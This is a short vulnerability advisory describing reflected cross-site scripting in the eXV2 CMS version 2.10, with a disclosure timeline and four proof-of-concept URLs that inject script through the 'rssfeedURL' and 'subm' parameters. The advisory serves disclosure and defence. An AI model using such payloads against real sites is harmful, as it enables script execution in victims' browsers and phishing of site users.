? eXV? Content Management System 2.10 Remote XSS Vulnerability Vendor: eXV? Team Product web page: http://www.exv2.de Affected version: 2.10 (LiveCD) Summary: eXV? is a free CMS for building and operating private home pages, small and large communities and it's also easily used for small to medium business presences. Desc: The CMS suffers from a remote reflected Cross-Site Scripting vulnerability when input passed thru "rssfeedURL" and "sumb" parameter in "archive.php", "topics.php", "example.php" and "index.php" is not sanitized, allowing the attacker to execute arbitrary HTML and script code in a user's browser session and aid in phishing attacks. Tested on: Microsoft Windows XP Pro (EN) Apache 2.2.14 (Win32) MySQL 5.1.41 PHP 5.3.1 Vendor status: [09.10.2010] Vulnerability discovered. [10.10.2010] Contact with the vendor. [14.10.2010] No reply from vendor. [15.10.2010] Public advisory released. Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2010-4970 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4970.php PoC: http://127.0.0.1:4001/manual/caferss/example.php?rssfeedURL="%20onmouseover=prompt(1)%20xss="&submit=OK http://127.0.0.1:4001/modules/news/archive.php?subm="><script>alert(1)</script> http://127.0.0.1:4001/modules/news/topics.php?subm="><script>alert(1)</script> http://127.0.0.1:4001/modules/contact/index.php?op=contact&subm="><script>alert(1)</script>